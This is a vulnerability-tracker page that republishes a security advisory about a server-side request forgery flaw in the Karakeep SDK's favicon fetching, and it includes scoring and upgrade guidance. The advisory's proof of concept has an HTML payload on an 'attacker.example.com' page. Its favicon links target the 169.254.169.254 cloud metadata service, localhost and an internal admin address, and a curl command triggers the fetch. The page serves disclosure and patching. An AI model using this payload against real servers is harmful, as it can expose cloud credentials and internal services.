Skip to content
Noroxi
OSV ecosystem advisory

GHSA-7rx4-c5vx-g8w3: Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections

High—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: @karakeep/sdk (npm) 0.32.0.

Low priority for now. Upgrade to @karakeep/sdk (npm) 0.32.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary The `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `<link rel="icon">` tag. ## Details ### Protected path (correct) Karakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks. ### Unprotected path (vulnerability) After fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `<link rel="icon">` elements and reading their `href` attribute. The plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely: ```typescript // apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73 metascraperLogo({ gotOpts: { agent: { http: serverConfig.proxy.httpProxy ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy)) : undefined, https: serverConfig.proxy.httpsProxy ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy)) : undefined, }, }, }), ``` Only proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML. ### Data flow ``` 1. User creates bookmark → URL validated by validateUrl() ✓ 2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓ 3. HTML passed to parseHtmlSubprocess via stdin 4. metascraper-logo-favicon parses <link rel="icon"> tags from HTML 5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗ 6. Server makes HTTP GET to attacker-controlled internal URL ``` ### Comparison The application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening ("Stricter SSRF validation" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation. ## PoC ### 1. Set up a malicious page on a public URL ```html <!-- Hosted at https://attacker.example.com/ssrf.html --> <html> <head> <title>Innocent Page</title> <link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256"> <link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128"> <link rel="icon" href="http://192.168.1.1/admin" sizes="64x64"> </head> <body><p>Normal content</p></body> </html> ``` ### 2. Create a bookmark via the API ```bash curl -X POST http://localhost:3000/api/v1/bookmarks \ -H "Authorization: Bearer YOUR_API_KEY" \ -H "Content-Type: application/json" \ -d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}' ``` ### 3. Result The main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to: - `http://169.254.169.254/latest/meta-data/` (AWS IMDS) - `http://127.0.0.1:3000/api/v1/users/whoami` (localhost) - `http://192.168.1.1/admin` (internal network) These requests bypass all SSRF protections. Verification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response. ## Impact - **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials. - **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable. - **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker. - **Bypass of explicit security controls**: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path. ## Suggested Fix ```diff // apps/workers/scripts/parseHtmlSubprocess.ts + import { validateUrl } from "network"; + + // Create a got hook that validates URLs before requests + const ssrfHook = { + beforeRequest: [ + async (options) => { + const result = await validateUrl(options.url.toString(), false); + if (!result.ok) { + throw new Error(`SSRF blocked: ${result.reason}`); + } + } + ] + }; + metascraperLogo({ gotOpts: { + hooks: ssrfHook, agent: { ... }, }, }), ``` Alternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).

Published
May 14, 2026
Updated
May 14, 2026
EPSS
—

Report tools

JSON

Action score

0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-7rx4-c5vx-g8w3

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npm@karakeep/sdk

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@karakeep/sdkbefore 0.32.00.32.0

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@karakeep/sdk0.32.0Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • A low-privileged account is enough.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

osv

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

ATT&CK techniques

—

References

All records